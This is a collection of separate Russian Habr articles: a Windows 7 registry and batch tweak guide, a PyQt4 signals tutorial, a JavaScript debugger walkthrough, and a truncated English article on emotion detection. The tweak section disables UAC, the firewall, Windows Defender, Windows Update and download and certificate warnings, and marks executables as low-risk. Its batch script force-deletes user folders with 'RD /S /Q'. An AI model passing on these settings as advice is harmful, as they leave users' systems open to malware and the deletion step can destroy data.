"UpgradeCheckFrequency"=dword:00000002
;Дополнительные настройки проводника
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
;Отображать все значки в области уведомлений
"EnableAutoTray"=dword:00000000
;He дoбaвлять "- Яpлык" для coздaвaeмыx яpлыкoв
"link"=hex:00,00,00,00
;Расширенные настройки проводника и меню "Пуск"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
;Показывать скрытые файлы, папки и диски
"Hidden"=dword:00000001
;Показывать пустые диски в папке "Компьютер"
"HideDrivesWithNoMedia"=dword:00000000
;Показывать расширения для зарегистрированных типов файлов
"HideFileExt"=dword:00000000
;Мелкие значки в Главном меню
"Start_LargeMFUIcons"=dword:00000000
;Не выделять недавно установленные программы
"Start_NotifyNewApps"=dword:00000000
;Не отображать "Документы"
"Start_ShowMyDocs"=dword:00000000
;Не отображать "Музыка"
"Start_ShowMyMusic"=dword:00000000
;Не отображать "Изображения"
"Start_ShowMyPics"=dword:00000000
;Не отображать "Подключение к"
"Start_ShowNetConn"=dword:00000000
;Отображать команду "Выполнить"
"Start_ShowRun"=dword:00000001
;Не отображать "Программы по умолчанию"
"Start_ShowSetProgramAccessAndDefaults"=dword:00000000
;Отключить скольжение кнопок Панели задач
"TaskbarAnimations"=dword:00000000
;Не группировать кнопки на Панели задач
"TaskbarGlomLevel"=dword:00000002
;Использовать маленькие значки на Панели задач
"TaskbarSmallIcons"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete]
;Использовать встроенное автозаполнение
"Append Completion"="yes"
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlersDefaultSelection]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\UserChosenExecuteHandlers]
;Сбросить настройки Автозапуска для всех типов носителей
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CIDOpen\Modules\GlobalSettings\Sizer]
;Скрыть Область переходов в диалоге "открыть"
"PageSpaceControlSizer"=hex:a0,00,00,00,00,00,00,00,00,00,00,00,9b,02,00,00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CIDSave\Modules\GlobalSettings\Sizer]
;Скрыть Область переходов в диалоге "сохранить"
"PageSpaceControlSizer"=hex:a0,00,00,00,00,00,00,00,00,00,00,00,9b,02,00,00
;Настройка Панели управления
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel]
;Показывать крупные значки
"AllItemsIconView"=dword:00000000
;Показывать все элементы Панели управления
"StartupPage"=dword:00000001
;Параметры значков Рабочего стола
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
;Отображать Компьютер на Рабочем столе
"{20D04FE0-3AEA-1069-A2D8-08002B30309D}"=dword:00000000
;Отображать %UserName% на Рабочем столе
"{59031a47-3f72-44a7-89c5-5595fe6b30ee}"=dword:00000000
;Параметры раскладки дополнительных панелей в папках
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Modules\GlobalSettings\Sizer]
;Скрыть Область переходов в папках
"PageSpaceControlSizer"=hex:a0,00,00,00,00,00,00,00,00,00,00,00,56,05,00,00
;Скрыть область сведений в папках
"PreviewPaneSizer"=hex:35,00,00,00,00,00,00,00,00,00,00,00,9f,02,00,00
;Изъять все программы из Панели задач
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband]
;Не показывать ссылки на программы в Панели задач
"Favorites"=hex:ff
;Удалить записи о закреплённых программах в Панели задач
"FavoritesResolve"=-
;Настройка дополнительных параметров Интернета
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
;Запретить встроенную проверку подлинности Windows
"EnableNegotiate"=dword:00000000
;Отключить предупреждение о несоответствии сертифиата
"WarnonBadCertRecving"=dword:00000000
;Отключить предупреждение о переходе в локальную зону
"WarnOnIntranet"=dword:00000000
;Отключить предупреждение о перенаправления публикаций
"WarnOnPostRedirect"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations]
;Список "безопасных" типов файлов для загрузки из интернета
"LowRiskFileTypes"=".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments]
;Отключить предупреждение при открытии файлов, загруженных из Интернета
"SaveZoneInformation"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
;Отключить значок "Центр поддержки" из области уведомлений
"HideSCAHealth"=dword:00000001
;Отключить автозапуск всех устройств, кроме CD-привода
"NoDriveTypeAutoRun"=dword:000000dd
;Убрать ярлык "Программы по умолчанию" из меню Пуск
"NoSMConfigurePrograms"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Metadata]
;Заменять стандартные значки устройств улучшенными
"PreventDeviceMetadataFromNetwork"=dword:00000000
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RemoteComputer\NameSpace\{863aa9fd-42df-457b-8e4d-0de1b8015c60}]
;Не сканировать сеть на наличие сетевых принтеров
;Настройка контроля учётных записей
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
;Выполнение программ Администратором без запроса
"ConsentPromptBehaviorAdmin"=dword:00000000
;Отключить контроль учётных записей (UAC)
"EnableLUA"=dword:00000000
;Не спрашивать при запуске приложений
"PromptOnSecureDesktop"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]
;Отключить автоматическое обновление системы
"AUOptions"=dword:00000001
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ScriptedDiagnosticsProvider\Policy]
;Не обращаться к средствам устранения неполадок через интернет
"EnableQueryRemoteServer"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting]
;Запретить отправку отчёта об ошибках
"Disabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore]
;Отключить восстановление системы на всех дисках
"RPSessionInterval"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\CrawlScopeManager\Windows\SystemIndex\WorkingSetRules\16]
;Не индексировать автономные файлы
"Include"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\CrawlScopeManager\Windows\SystemIndex\WorkingSetRules\17]
;Не индексировать историю IE8
"Include"=dword:00000000
;Поведение в случае отказа сисемы (BSOD)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl]
;Не выполнять автоматическую перезагрузку
"AutoReboot"=dword:00000000
;Не записывать отладочную информацию
"CrashDumpEnabled"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Network\NetworkLocationWizard]
;Скрыть мастер выбора типа сети и считать все сети общественными
"HideWizard"=dword:00000001
;Параметры Удалённого помощника
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Remote Assistance]
;Запретить удалённое управление этим компьютером
"fAllowFullControl"=dword:00000000
;Запретить подключения удалённого помощника к этому компьютеру
"fAllowToGetHelp"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CSC]
;Отключить драйвер автономных файлов
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CscService]
;Отключить службу автономных файлов
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters]
;Отключить стандартные административные общие ресурсы (C$ и т.д.)
"AutoShareWks"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MpsSvc]
;Отключить службу Брандмауэр Windows
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
;Отключить доменный профиль Брандмауэра Windows
"EnableFirewall"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
;Отключить общий профиль Брандмауэра Windows
"EnableFirewall"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
;Отключить частный профиль Брандмауэра Windows
"EnableFirewall"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time]
;Отключить службу времени Windows
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters]
;Не выполнять синхронизацию с сервером времение в интернете
"Type"="NoSync"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend]
;Отключить службу Защитник Windows
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc]
;Отключить сдужбу Центр обеспечения безопасности
"Start"=dword:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
;Отключить службу Центр обновления Windows
"Start"=dword:00000004
```
Как видите, довольно много пунктов, но все они содержат описание, так что каждый выберет то, что ему нужно. Для тех, кто не знает как воспользоваться: копируете в текстовый файл данные твики (можно не все, но обязательно с верхней строчкой) и сохраняете. После у текстового файла нужно поменять расширение с \*.txt на \*.reg, а также учтите, что некоторые твики требуют права Администратора.
Бонус: Перемещение пользовательских данных.
По-умолчанию пользовательские данные на компьютерах под управлением Windows 7 хранятся в папке C:\Users\%username%, что неудобно. Внутри папки пользователя есть несколько под-папок, которые за некоторое время у «неряшливых» пользователей значительно «разрастаются» в объёме. Вот эти папки: Рабочий стол, Загрузки, Документы, Музыка, Изображения, Видеозаписи. Я предлагаю сразу после переустановки Windows перенести эти папки на диск D:\. Конечно, можно это сделать и вручную — в свойствах каждой из папок изменить её местоположение. А можно воспользоваться моим командным файлом, который «бережно» скопирует всё содержимое на новое место и изменить нужные параметры реестра.
```
@ECHO OFF
TITLE Перемещение пользовательских данных
XCOPY "%USERPROFILE%\Мои документы\Моя музыка" D:\Аудио /S /I /Q /H /K /O /Y
XCOPY "%USERPROFILE%\Мои документы\Мои рисунки" D:\Фото /S /I /Q /H /K /O /Y
XCOPY "%USERPROFILE%\Мои документы\Мои видеозаписи" D:\Видео /S /I /Q /H /K /O /Y
MD D:\Аудио
MD D:\Фото
MD D:\Видео
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Music" /t REG_SZ /d D:\Аудио /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Pictures" /t REG_SZ /d D:\Фото /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Video" /t REG_SZ /d D:\Видео /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "My Music" /t REG_EXPAND_SZ /d D:\Аудио /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "My Pictures" /t REG_EXPAND_SZ /d D:\Фото /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "My Video" /t REG_EXPAND_SZ /d D:\Видео /f
RD /S /Q "%USERPROFILE%\Мои документы\Моя музыка"
RD /S /Q "%USERPROFILE%\Мои документы\Мои рисунки"
RD /S /Q "%USERPROFILE%\Мои документы\Мои видеозаписи"
XCOPY "%USERPROFILE%\Рабочий стол" "D:\Рабочий стол" /S /I /Q /H /K /O /Y
XCOPY "%USERPROFILE%\Мои документы" "D:\Мои документы" /S /I /Q /H /K /O /Y
MD "D:\Рабочий стол"
MD "D:\Мои документы"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop /t REG_SZ /d "D:\Рабочий стол" /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Desktop /t REG_EXPAND_SZ /d "D:\Рабочий стол" /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Personal /t REG_SZ /d "D:\Мои документы" /f
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v Personal /t REG_EXPAND_SZ /d "D:\Мои документы" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths" /v %USERNAME% /t REG_SZ /d "D:\Мои документы" /f
RD /S /Q "%USERPROFILE%\Рабочий стол"
RD /S /Q "%USERPROFILE%\Мои документы"
PAUSE
```
Как видите, всё довольно просто — перечисленные выше «важные» папки создаются в корне диска D:\. Это решение удобно применять для однопользовательского домашнего компьютера. Чтобы воспользоваться, нужно сохранить текст в файл с раширением \*.cmd. Кодировка должна быть OEM 866.
*Благодарю за внимание. Может кому пригодиться.* | https://habr.com/ru/post/240609/ | null | ru | null |
# PyQt4 — Сигналы и события
**События**
События это важная часть GUI программирования. События генерируются пользователями или же системой. Когда мы вызываем метод exec() приложение запускает основной цикл. Он получаем события и отправляет их объектам. Trolltech представляет уникальный механизм сигналов и слотов.
**Сигналы и слоты**
Сигналы генерируются когда пользователь щелкает по кнопке, отмечает чекбокс и др. Сигналы также могут быть оправлены и окружением. Например, когда срабатывает таймер. Слот — это метод, который реагирует на сигнал.
`#!/usr/bin/python
import sys
from PyQt4 import QtGui, QtCore
class SigSlot(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('signal & slot')
lcd = QtGui.QLCDNumber(self)
slider = QtGui.QSlider(QtCore.Qt.Horizontal, self)
vbox = QtGui.QVBoxLayout()
vbox.addWidget(lcd)
vbox.addWidget(slider)
self.setLayout(vbox)
self.connect(slider, QtCore.SIGNAL('valueChanged(int)'),
lcd, QtCore.SLOT('display(int)') )
self.resize(250, 150)
app = QtGui.QApplication(sys.argv)
qb = SigSlot()
qb.show()
sys.exit(app.exec_())`
В данном случае мы отображаем бегунок и LCD циферблат. Номер на циферблате изменяется перетаскиванием бегунка.
`self.connect(slider, QtCore.SIGNAL('valueChanged(int)'),
lcd, QtCore.SLOT('display(int)'))`
Здесь мы соединяем сигнал бегунка valueChanged() со слотом display() циферблата.
Метод connect() имеет четыре параметра. *Sender*(отправитель) — объект который отправляет сигнал. *Signal* (сигнал) — генерируемый сигнал. *Receiver*(получатель) — объект, который получает сигнал. *Slot* (слот) — метод, который реагирует на сигнал.
**Изменение обработчика события**
События в PyQt4 обрабатываются в зачастую с помощью изменения обработчиков событий.
`#!/usr/bin/python
import sys
from PyQt4 import QtGui, QtCore
class Escape(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('escape')
self.resize(250, 150)
self.connect(self, QtCore.SIGNAL('closeEmitApp()'), QtCore.SLOT('close()') )
def keyPressEvent(self, event):
if event.key() == QtCore.Qt.Key_Escape:
self.close()
app = QtGui.QApplication(sys.argv)
qb = Escape()
qb.show()
sys.exit(app.exec_())`
В нашем примере мы реинициализируем обработчик события keyPressEvent().
`def keyPressEvent(self, event):
if event.key() == QtCore.Qt.Key_Escape:
self.close()`
Если мы щёлкнем по кнопке Escape, то закроем приложение.
**Генерирование сигналов**
Объекты создаваемые из QtCore.QObject могут генерировать сигналы. Если мы щелкаем по кнопке, гененрируется сигнал clicked(). В следующем примере мы покажем как это сделать.
`#!/usr/bin/python
import sys
from PyQt4 import QtGui, QtCore
class Emit(QtGui.QWidget):
def __init__(self, parent=None):
QtGui.QWidget.__init__(self, parent)
self.setWindowTitle('emit')
self.resize(250, 150)
self.connect(self, QtCore.SIGNAL('closeEmitApp()'), QtCore.SLOT('close()') )
def mousePressEvent(self, event):
self.emit(QtCore.SIGNAL('closeEmitApp()'))
app = QtGui.QApplication(sys.argv)
qb = Emit()
qb.show()
sys.exit(app.exec_())`
Мы создаём новый сигнал closeEmitApp(). Этот сигнал генерируется когда происходит нажатие кнопки мышки.
`def mousePressEvent(self, event):
self.emit(QtCore.SIGNAL('closeEmitApp()'))`
Сигнал создаётся с помощью метода emit().
`self.connect(self, QtCore.SIGNAL('closeEmitApp()'), QtCore.SLOT('close()'))`
Здесь мы соединяет созданный нами сигнал closeEmitApp() со слотом close(). | https://habr.com/ru/post/31690/ | null | ru | null |
# Javascript: исходный код и его отображение при отладке
Программисты делятся на две категории: те, которые используют отладчик при разработке, и те, которые обходятся без него. В этом посте я попытался обобщить, какие типы сущностей можно выявить в исходном коде JS-программы, и как эти типы выглядят под отладчиком. JS-программисты из первой категории могут дополнить, если я упустил какой-либо тип сущностей, а JS-программисты из второй категории могут посмотреть на то, чего, возможно, никогда не видели.
Типы сущностей в исходном коде
------------------------------
Сам я сталкивался со следующими типами:
* примитивы: строка, число, логическое значение, null, undefined, символ;
* области видимости (scopes)
* (update) [замыкания](https://habr.com/ru/post/524526/#comment_22243634)
* объекты
* массивы
* функции
* классы
* модули
* пакеты
---
Примитивы
---------
С примитивами ~~ничего интересного, на то они и примитивы.~~ (BigInt) Вот код:
```
const aBool = true;
const aNull = null;
const aNum = 128;
const aStr = '128';
const aSymLocal = Symbol('local symbol');
const aSymGlobal = Symbol.for('global symbol');
let aUndef;
```
А вот так примитивы выглядят под отладчиком (слева - в браузере Chrome, справа - в IDE PhpStorm):
Ну разве что обращает на себя внимание стрелка рядом с символом в IDEA (PhpStorm), как будто `aSymGlobal` и `aSymLocal` являются составными компонентами, а не примитивными элементами. Стрелку на `aSymGlobal` я развернул - нет там ничего.
**UPDATE**: К примитивам можно отнести BigInt, т.к. у него свой собственный тип:
```
typeof BigInt('1') === 'bigint' // true
```
---
### Области видимости
Проще всего организовать различные области видимости переменных при помощи блоков:
```
{
const outer = 'outer scope';
{
const medium = 'medium scope';
{
const inner = 'inner scope';
debugger;
}
}
}
```
При остановке в отладчике во внутреннем блоке видны переменные из всех трёх областей:
Также и в браузере, и в nodejs доступна глобальная область видимости (Global), а в nodejs ещё доступна область видимости исполняемого фрагмента кода (скрипта) - Local.
---
Объекты
-------
В JavaScript'е всё, что не примитив, то объект (включая функции и массивы). В данном разделе я рассматриваю именно объекты (которые не функции и не массивы):
```
const id = Symbol('id');
const code = Symbol();
const name = Symbol();
const obj = {
[id]: 1,
[code]: 'ant',
[name]: 'cat',
aStr: 'string',
aNum: 64,
anObj: {
[code]: 'dog'
}
}
```
Символы [рекомендуется](https://learn.javascript.ru/symbol) использовать в качестве идентификаторов свойств объекта и из кода понятно, что '*ant*' - это код для объекта `obj`, а '*cat*' - это имя. Для объекта `obj.anObj` '*dog*' - это код.
В отладчике не всё так однозначно:
Если у символа отсутствует описание, то непонятно, какое свойство является именем, а какое - кодом.
### Прототип объекта
В свойстве `obj.__proto__` находится ссылка на прототип, по которому создавался данный объект. Объекты создаются при помощи конструктора (функция `Object.constructor()`), который в качестве прототипа для новых объектов использует свойство `Object.constructor.prototype`:
```
const obj = {};
```
Таким образом `obj.__proto__ === obj.__proto__.constructor.prototype`:
`prototype` в свою очередь содержит ту же функцию `constructor`, которая содержит тот же `prototype`, и т.д. - циклическая зависимость, по которой можно спускаться вглубь, пока хватит ресурсов компьютера.
В отладчике также видно, что, например, функция `assign` является методом конструктора `f Object()` (методом класса `Object`), а не методом свежесозданного объекта `obj`.
Таким образом отладчик может быть своего рода кратким справочником по методам соответствующих базовых классов:
```
obj.__proto__.constructor.assign // Object.assign
```
---
Массивы
-------
Массивы - это такие специфические объекты, которые и в коде, и под отладчиком выглядят слегка иначе, чем обычные объекты. Вместо фигурных скобок `{}` применяются квадратные `[]`:
```
let undef;
const id = Symbol.for('id');
const arr = [1, 'str', null, undef, {[id]: 'ant'}, ['internal', 'array']];
```
Массив очень похож на объект, только вместо имён ключей (свойств) применяются числовые индексы:
### Прототип массива
Под отладчиком видно, что в основе у массивов находится [Array](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array):
```
arr.__proto__ => Array
arr.__proto__.constructor.isArray // Array.isArray
```
у которого в основе находится Object:
```
arr.__proto__.__proto__ => Object
```
---
Функции
-------
### Стрелочные vs. Обычные
Стрелочные функции исполняются в области видимости родителя, обычные - создают собственную область видимости.
```
// arrow function
((a) => {
debugger;
return a + 2;
})(1);
// regular function
(function (a) {
debugger;
return a + 2;
})(2);
```
Если запустить данный код в браузере/nodejs, то переменная `this` в локальной области видимости будет неопределена для стрелочных функций:
и будет соответствовать глобальному объекту (Window или global) для обычных:
Именованные vs. Анонимные
-------------------------
Различия между именованными и анонимными функциями видны в стеке вызовов.
```
// anonymous functions
(function (a) {
return 2 + (function (b) {
debugger;
return b + 4;
})(a);
})(1);
// named functions
(function outer(a) {
return 2 + (function inner(b) {
debugger;
return b + 4;
})(a);
})(1);
```
Для анонимных функций в стеке указывается только файл и строка кода:
Для именованных - ещё и имя функции, что удобно:
### Прототип функции
Прототипом функции является объект [Function](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function), для которого прототипом является Object:
```
func.__proto__ => Function
func.__proto__.constructor.caller // Function.caller
func.__proto__.__proto__ => Object
```
---
Классы
------
### Именованные vs. Анонимные
```
{
const AnonClass = class {
name = 'Anonymous'
};
class NamedClass {
name = 'Named'
}
function makeAnonClass() {
return class {
name = 'Dynamic Anon'
};
}
function makeNamedClass() {
return class DynamicNamed {
name = 'Dynamic Named'
};
}
const DynamicAnonClass = makeAnonClass();
const DynamicNamedClass = makeNamedClass();
const anon = new AnonClass();
const named = new NamedClass();
const dynAnon = new DynamicAnonClass();
const dynNamed = new DynamicNamedClass();
const justObj = new (class {
name = 'Just Object'
})();
debugger;
}
```
Объекты, созданные при помощи анонимного класса, приравненного к какой-либо переменной, в отладчике видны под именем этой переменной (`anon`).
Объекты, созданные при помощи именованных классов, в отладчике видны под именами этих классов (`dynNamed` и `named`).
Имя класса, к которому принадлежит объект, находится в `obj.__proto__.constructor.name`.
Объекты, созданные при помощи динамически созданного анонимного класса, видны в отладчике IDEA под именем базового класса *Object*, а в отладчике Хрома - без названия, как и простой объект (`dynAnon`). Т.е., у них `obj.__proto__.constructor.name` отсутствует.
Объект `justObj`проще было бы создать при помощи обычных фигурных скобок `{name: 'Just Object'}`, чем при помощи одноразовой конструкции `new (class {name = 'Just Object'})()`.
В общем, объекты, созданные при помощи именованных классов, в отладчике маркируются именем соответствующего класса (именем конструктора), что очень сильно облегчает жизнь разработчику.
Отладчик Хрома выводит и классы, и объекты-переменные в едином списке, IDEA выделяет функции и классы в отдельный список *Functions* внутри соответствующей области видимости.
### Класс - это функция
```
class Demo {}
```
В отладчике видно, что класс `Demo` является функцией (`Demo.__proto__ => Function`). IDEA выносит классы в секцию *Functions* внутри блока:
У класса есть свойство `prototype` которое он использует в качестве свойства `__proto__` для новых объектов, создаваемых при помощи оператора `new`:
```
const demo = new Demo();
demo.__proto__ === Demo.prototype // true
```
### Экземпляры класса
Экземпляры, создаваемые при помощи оператора `new`, являются объектами (не функциями, как сам класс):
```
{
class Demo {
propA
methodA() {}
}
const demo = new Demo();
debugger;
}
```
Под отладчиком видно, что методы нового объекта находятся в его прототипе (`demo.__proto__.methodA`), а свойства - в самом объекте (`demo.propA`).
### Статические свойства и методы
```
{
class Demo {
static propStat
static methodStat() {
return this.propStat;
}
}
const demo = new Demo();
Demo.methodStat();
debugger;
}
```
Статические члены "вешаются" на саму класс-функцию, а не на объекты, создаваемые при помощи оператора `new`:
Видно, что у объекта `demo` нет никаких свойств и методов, зато у класс-функции `Demo` есть свойство `propStat` и метод `methodStat`.
### Приватные свойства и методы
```
{
class Demo {
#propPriv = 'private'
#methodPriv() {
return this.#propPriv;
}
}
const demo = new Demo();
debugger;
}
```
Приватные свойства и методы видны в Хроме, а в IDEA прячутся в деталях объекта, но видны в его аннотации:
### Акцессоры (get & set)
Акцессоры позволяют реализовать "виртуальное" свойство, позволяя контролировать присвоение данных этому свойству и получение данных от свойства:
```
{
class Demo {
#prop
get prop() {
return this.#prop;
}
set prop(data) {
this.#prop = data;
}
}
const demo = new Demo();
demo.prop = 'access';
debugger;
}
```
И в Хроме, и в IDEA данное "виртуальное" свойство при отладке сразу не отображается (стоит троеточие вместо значения), а для получения данных нужно в явном виде вызвать getter (двойной щелчок мыши по свойству):
В IDEA в аннотации прототипа класс-функции (`Demo.prototype`) видно, что `prop: Accessor`. Также стоит отметить, что "виртуальное" свойство (являясь парой функций) относится скорее к прототипу объекта, чем к самому объекту: если Хром отображает `prop` в свойствах объекта и в свойствах его прототипа, то IDEA - только в свойствах прототипа.
### Наследование
```
{
class Parent {
name = 'parent'
parentAge = 64
action() {}
actionParent() {}
}
class Child extends Parent {
name = 'child'
childAge = 32
action() {}
actionChild() {}
}
const child = new Child();
debugger;
}
```
При наследовании прототипы выстраиваются в цепочку, а при добавлении свойств в новый объект конструктор наследника перекрывает значения таких же свойств родителя (`name` в итоге равен "*child*"):
Также видно, что перекрытые методы родителя доступны через прототипы:
```
child.__proto__.__proto__.action();
```
Из необычного, и Хром, и Idea аннотируют прототип `child.__proto__` как `Parent`, хотя прототип по факту содержит методы из класса `Child`.
---
Модули
------
Модуль в JS - это отдельный файл, подключаемый через `import`. Пусть содержимое модуля находится в файле `./sub.mjs` (расширение "*\*.mjs*" означает, что в файл содержит ES6-модуль):
```
function modFunc() {}
class ModClass {}
const MOD_CONST='CONSTANT';
export {modFunc, ModClass, MOD_CONST};
```
а вызывающий скрипт выглядит так:
```
import * as sub from './sub.mjs';
debugger;
```
Под отладчиком в вызывающем скрипте виден элемент `sub`, который не является обычным JS-объектом (у него нет прототипа):
Также видно, что экспортируемые объекты модуля являются "виртуальными" свойствами (доступны через акцессоры).
---
Пакеты
------
Пакет - это способ организации кода в nodejs, в браузере пакеты отсутствуют. Если JS-модуль представляет из себя файл, то пакет - это группа файлов, главным из которых является `package.json`, в котором задаётся точка входа в пакет (по-умолчанию - `index.js`). В точке входа описывается экспорт пакета, аналогично тому, как описывается экспорт в модуле. Поэтому импорт пакета аналогичен импорту модуля, за исключением того, что при импорте указывается не путь к модулю (filepath или URL), а имя пакета:
```
// import * as sub from './sub.mjs';
import * as express from 'express';
```
Под отладчиком сущности, импортируемые из пакета, аналогичны импортируемым из модуля:
Резюме
------
Не знаю, увидели ли вы что-либо новое для себя в этой статье (*если нет, то надеюсь, вы хотя бы не читали её внимательно, надеясь найти что-то новое*), зато я обнаружил для себя много чего незнакомого, пока её писал. Что уже хорошо, пусть и не в масштабах Вселенной.
Всем спасибо за внимание. Хэппи, как говорится, кодинга. Ну и дебаггинга. | https://habr.com/ru/post/524526/ | null | ru | null |
# Contextual Emotion Detection in Textual Conversations Using Neural Networks
Nowadays, talking to conversational agents is becoming a daily routine, and it is crucial for dialogue systems to generate responses as human-like as possible. As one of the main aspects, primary attention should be given to providing emotionally aware responses to users. In this article, we are going to describe **the recurrent neural network architecture for emotion detection in textual conversations**, that participated in [SemEval-2019 Task 3 “EmoContext”](http://alt.qcri.org/semeval2019/index.php?id=tasks), that is, an annual workshop on semantic evaluation. The task objective is to classify emotion (i.e. happy, sad, angry, and others) in a 3-turn conversational data set.
The rest of the article is organized as follows. Section 1 gives a brief overview of the EmoContext task and the provided data. Sections 2 and 3 focus on the texts pre-processing and word embeddings, consequently. In section 4, we described the architecture of the LSTM model used in our submission. In conclusion, the final performance of our system and the source code are presented. The model is implemented in Python using Keras library.
1. Training Data
----------------
The SemEval-2019 Task 3 “EmoContext” is focused on the contextual emotion detection in textual conversation. In EmoContext, given a textual user utterance along with 2 turns of context in a conversation, we must classify whether the emotion of the next user utterance is “happy”, “sad”, “angry” or “others” (Table 1). There are only two conversation participants: an anonymous person (Tuen-1 and Turn-3) and the AI-based chatbot [Ruuh](https://www.ruuh.ai/) (Turn-2). For a detailed description, see ([Chatterjee et al., 2019](https://www.aclweb.org/anthology/papers/S/S19/S19-2005/)).
*Table 1. Examples showing the EmoContext dataset ([Chatterjee et al., 2019](https://www.aclweb.org/anthology/papers/S/S19/S19-2005/))*
| User (Turn-1) | Conversational Agent (Turn-1) | User (Turn-2) | True Class |
| --- | --- | --- | --- |
| I just qualified for the Nabard internship | WOOT! That’s great news. Congratulations! | I started crying | Happy |
| How dare you to slap my child | If you spoil my car, I will do that to you too | Just try to do that once | Angry |
| I was hurt by u more | You didn’t mean it. | say u love me | Sad |
| I will do night. | Alright. Keep me in loop. | Not giving WhatsApp no. | Others |
During the competition, we had access to 30160 human-labeled texts provided by task organizers, where about 5000 samples each from “angry”, “sad”, “happy” class and 15000 for “others” class (Table 2). Dev and test sets, which were also provided by organizers, in contrast with a train set, have a real-life distribution, which is about 4% for each emotional class and the rest for the “others” class. Data provided by Microsoft and can be found in [the official LinkedIn group](https://www.linkedin.com/feed/update/urn:li:activity:6439879151053836288/).
*Table 2. Emotion class label distribution in datasets ([Chatterjee et al., 2019](https://www.aclweb.org/anthology/papers/S/S19/S19-2005/)).*
| Dataset | Happy | Sad | Angry | Others | Total |
